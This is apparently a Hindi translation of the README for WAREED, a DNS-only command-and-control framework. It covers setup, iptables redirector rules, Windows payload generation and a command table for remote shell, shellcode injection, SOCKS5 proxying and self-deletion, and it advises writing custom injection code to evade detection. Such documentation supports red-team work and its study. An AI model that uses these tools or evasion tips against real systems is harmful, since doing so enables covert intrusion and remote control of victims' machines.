
DNS-केवल कमांड-एंड-कंट्रोल फ्रेमवर्क जिसमें Windows एजेंट, पेलोड जनरेशन, रिमोट शेल निष्पादन, शेलकोड इंजेक्शन, और गुप्त संचालन के लिए SOCKS5 प्रॉक्सी समर्थन शामिल है।

WAREED एक Command and Control (C2) है जो सर्वर और लक्ष्य के बीच सुरक्षित संचार के लिए DNS प्रोटोकॉल का उपयोग करता है। संचार को न्यूनतम करने और डेटा विनिमय को सीमित करने के लिए डिज़ाइन किया गया, यह पहले-चरण के C2 के रूप में उन मशीनों में बने रहने के लिए है जिनके पास HTTP/HTTPS के माध्यम से इंटरनेट की पहुँच नहीं है, लेकिन जहाँ DNS की अनुमति है।
द्वारा विकसित : @Fsalabduljabbar

जबकि कई Command and Control (C2) फ्रेमवर्क DNS को परिवहन प्रोटोकॉल के रूप में समर्थन करते हैं, वे मुख्य रूप से HTTP/HTTPS के लिए डिज़ाइन किए गए हैं। इन फ्रेमवर्क्स को DNS में स्थानांतरित करने से अक्सर धीमा और कम स्थिर संचालन होता है। DNS लेनदेन के लिए इन फ्रेमवर्क्स की अस्थिरता के साथ कई चुनौतियों का सामना करते हुए, मैं विशेष रूप से DNS के लिए तैयार किया गया समाधान बनाने के लिए विवश था। परिणाम है Wareed—एक DNS-केवल C2 फ्रेमवर्क। यह विशेष ध्यान अधिक स्थिर और कुशल संचालन में परिणामित होता है, जिससे Wareed पारंपरिक C2 फ्रेमवर्क्स की तुलना में तेज़ और अधिक विश्वसनीय बनता है जो मुख्य रूप से DNS के लिए डिज़ाइन नहीं किए गए हैं। यह Wareed को उन वातावरणों के लिए एक आदर्श विकल्प बनाता है जहाँ DNS ट्रैफ़िक की अनुमति है लेकिन HTTP/HTTPS प्रतिबंधित है।
इसे तीन प्रोग्रामिंग भाषाओं का उपयोग करके विकसित किया गया है:
नामों की व्याख्या:
Hams (همس) का अर्थ अरबी में "फुसफुसाहट" है।
Wareed (وريد) का अर्थ अरबी में "नस" है।
Ather (أثر) का अर्थ अरबी में "निशान" है।
चरण 1: Wareed रिपॉजिटरी को क्लोन करें:
git clone https://github.com/Faisal-P27/WAREED-DNS-C2.git
चरण 2: सेटअप स्क्रिप्ट चलाएँ:
cd WAREED-DNS-C2
chmod +x Run.sh
sudo ./Run.sh setup
यदि संकलन प्रक्रिया सफलतापूर्वक पूरी होती है, तो उसी निर्देशिका में दो निष्पादन योग्य फ़ाइलें उत्पन्न होंगी:
यह Agent की संकलन स्थिति की भी जाँच करेगा। यदि सफल होता है, तो यह पुष्टि करता है कि Agent तैनाती और संचालन के लिए तैयार है, जो Wareed C2 की कार्यक्षमता के लिए महत्वपूर्ण है।
{
"magic_value": "cdn",
"domains": ["2.example.net"],
"listener_port": "111",
"sleep": 5,
"jitter": 50,
"lookup_delay": 5,
"default_dns_server": "1.1.1.1"
}
magic_value: लंबाई 3 के बराबर होनी चाहिए।
DNS सेटअप: Wareed को संचालित करने के लिए एक मान्य डोमेन नाम का होना आवश्यक है। डोमेन प्राप्त करने के बाद, Redirector की ओर इंगित करने के लिए दो DNS रिकॉर्ड कॉन्फ़िगर करने की आवश्यकता है:

Redirector सेटअप:
redirector पोर्ट 53 पर आने वाले DNS ट्रैफ़िक को संभालेगा और इसे टीम सर्वर पर पुनर्निर्देशित करेगा। इसे प्राप्त करने के लिए, redirector मशीन (R1) पर निम्नलिखित iptables कमांड निष्पादित करें:
iptables -I INPUT -p udp -m udp --dport 53 -j ACCEPT
यह कमांड फ़ायरवॉल को पोर्ट 53 पर आने वाले UDP पैकेट स्वीकार करने के लिए कॉन्फ़िगर करता है, जो DNS अनुरोधों के लिए मानक पोर्ट है।
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to-destination [TeamServer IP]:[teamserver listener port]
[TeamServer IP] को अपने टीम सर्वर के वास्तविक IP पते से बदलें और [teamserver listener port] को उस पोर्ट नंबर से बदलें जिस पर आपका टीम सर्वर सुन रहा है। यह कमांड पोर्ट 53 पर आने वाले सभी ट्रैफ़िक को टीम सर्वर के निर्दिष्ट IP पते और पोर्ट पर निर्देशित करता है।

Wareed टीम सर्वर को पहली बार शुरू करने के लिए, आपको क्लाइंट पासवर्ड और उस पोर्ट के साथ कॉन्फ़िगरेशन फ़ाइल निर्दिष्ट करनी होगी जिस पर क्लाइंट सुनेगा। Wareed टीम सर्वर चलाने के लिए निम्न कमांड का उपयोग करें:
sudo ./WareedServer [Client Password] [Client Port Listener] [Path to configuration file]
Ather GUI क्लाइंट लॉन्च करने के लिए, बस
./Ather
कमांड चलाने पर, लॉगिन पेज वाली एक नई विंडो दिखाई देगी।

लॉगिन विवरण: दिखाई देने वाले लॉगिन पेज में:
Wareed मुख्य विंडो:

Ather GUI क्लाइंट के साथ नया पेलोड जनरेट करने के लिए, इन चरणों का पालन करें:
पेलोड जनरेशन पर जाएँ:
Payload > Generate > Windows पर जाएँ। इस विकल्प को चुनने पर पेलोड जनरेशन के लिए तैयार की गई एक नई विंडो खुलेगी।
नया पेलोड जनरेट करने के बाद, एक नया अतिथि सत्र स्वचालित रूप से टीम सर्वर के साथ पंजीकृत होता है। यह पंजीकरण प्रक्रिया सुनिश्चित करती है कि केवल यह विशिष्ट सत्र टीम सर्वर से कनेक्ट हो सके। यह सत्र को प्रमाणित और अधिकृत करने के लिए एक अद्वितीय पहचानकर्ता और 'magic value' का उपयोग करता है। यह तंत्र नए जनरेट किए गए पेलोड और टीम सर्वर के बीच सुरक्षित और नियंत्रित संचार सुनिश्चित करता है।

Windows मशीन पर पेलोड निष्पादित करने के बाद, यह टीम सर्वर के साथ पंजीकरण के लिए DNS क्वेरी उत्पन्न करना शुरू कर देगा। यह पंजीकरण प्रक्रिया सेकंडों के भीतर होती है और आम तौर पर 3 से 5 DNS क्वेरी उत्पन्न करने में शामिल होती है।

किसी सत्र के साथ इंटरैक्ट करने के लिए, वांछित सत्र पर राइट-क्लिक करें और संदर्भ मेनू से "Interact" चुनें। यह क्रिया एक नया टैब खोलेगी जिसमें एक टर्मिनल इंटरफ़ेस होगा। इस टर्मिनल में, आप कमांड निष्पादित कर सकते हैं

नोट:
injectकमांड सीधा है लेकिन अक्सर सुरक्षा नियंत्रणों द्वारा पता लगाया जाता है। चुपके को बढ़ाने के लिए, आपको अपनी स्वयं की इंजेक्शन तकनीक लागू करनी चाहिए।Agent/Source/Core/Tasks/Modules/Injection.cमें इंजेक्शन कोड को संशोधित करें। इंजेक्शन फ़ंक्शन को अनुकूलित करने के लिए यहाँ एक बुनियादी टेम्पलेट है:
int Inject(unsigned char *ShellCode, int size, int ProcessID) {
// Add your injection technique here.
// You will receive the shellcode in [unsigned char *ShellCode] and shellcode size in [nt size]
// and the process ID in [int ProcessID].
}
डेटाबेस साफ़ करने के लिए, अपने टर्मिनल में निम्न कमांड निष्पादित करें:
./Run clean
हालाँकि मेरी Wareed परियोजना में समय निवेश जारी रखने की कोई तत्काल योजना नहीं है, यह एक अविश्वसनीय सीखने की यात्रा रही है, और मैंने इसका भरपूर आनंद लिया। मैं यह घोषणा करते हुए उत्साहित हूँ कि मैं एक नई बड़ी परियोजना, THAWD BAS शुरू करने की योजना बना रहा हूँ। अधिक जानकारी के लिए, कृपया Thawd.io पर जाएँ।
यदि आपके पास विकास कौशल हैं और Wareed में योगदान करने में रुचि रखते हैं, तो यहाँ कुछ अवसर हैं:
यह कार्य कई उत्कृष्ट ओपन-सोर्स परियोजनाओं के योगदान के बिना पूरा नहीं हो सकता था:
DNSStager द्वारा - @mohammadaskar2
Boomerang द्वारा - @NinjaParanoid
Socks5Server द्वारा earthquake
delete-self-poc द्वारा - @LloydLabs
| कमांड | विवरण | उपयोग | उदाहरण |
|---|
| help | निर्दिष्ट कमांड का सहायता संदेश दिखाता है | [command] | help shell |
| sleep | स्लीप विलंब को जिटर के साथ सेट करता है | [delay] [jitter] | sleep 10 50 |
| shell | cmd.exe कमांड निष्पादित करता है और आउटपुट प्राप्त करता है | [commands] | shell dir c:\windows\system32 (कृपया ऐसा न करें) |
| inject | रिमोट प्रक्रिया में शेलकोड इंजेक्ट करता है | [pid] [shellcode_path] | inject 1234 /path/to/shellcode.bin |
| proxystart | SOCKS5 प्रॉक्सी शुरू करता है | [callback_host] [agent_connect_port] [proxy_listener_port] | proxystart example.com 443 1080 |
| proxystop | SOCKS5 प्रॉक्सी रोकता है | [callback_host] [agent_connect_port] [proxy_listener_port] | proxystop example.com 443 1080 |
| adddomain | एक नया कॉलबैक डोमेन जोड़ता है | [domain_name] | adddomain example.com |
| deldomain | एक कॉलबैक डोमेन हटाता है | [domain_name] | deldomain example.com |
| listdomain | सभी सक्रिय कॉलबैक डोमेन सूचीबद्ध करता है | listdomain | |
| kill | वर्तमान प्रक्रिया को समाप्त करें। | [yes] | kill yes |
| wipe | वर्तमान प्रक्रिया को समाप्त करें और हटाएँ। | [yes] | wipe yes |
| selfdel | वर्तमान प्रक्रिया को डिस्क से हटाएँ। | [yes] | selfdel yes |
| tasklist | सभी कतारबद्ध कार्यों को सूचीबद्ध करता है | tasklist | |
| taskdel | ID द्वारा किसी विशिष्ट कार्य को हटाएँ | [task id] | taskdel 123 |
| tasksclean | कतार में सभी कार्यों को हटाएँ | [yes] | tasksclean yes |
| clear | टर्मिनल स्क्रीन साफ़ करें | clear |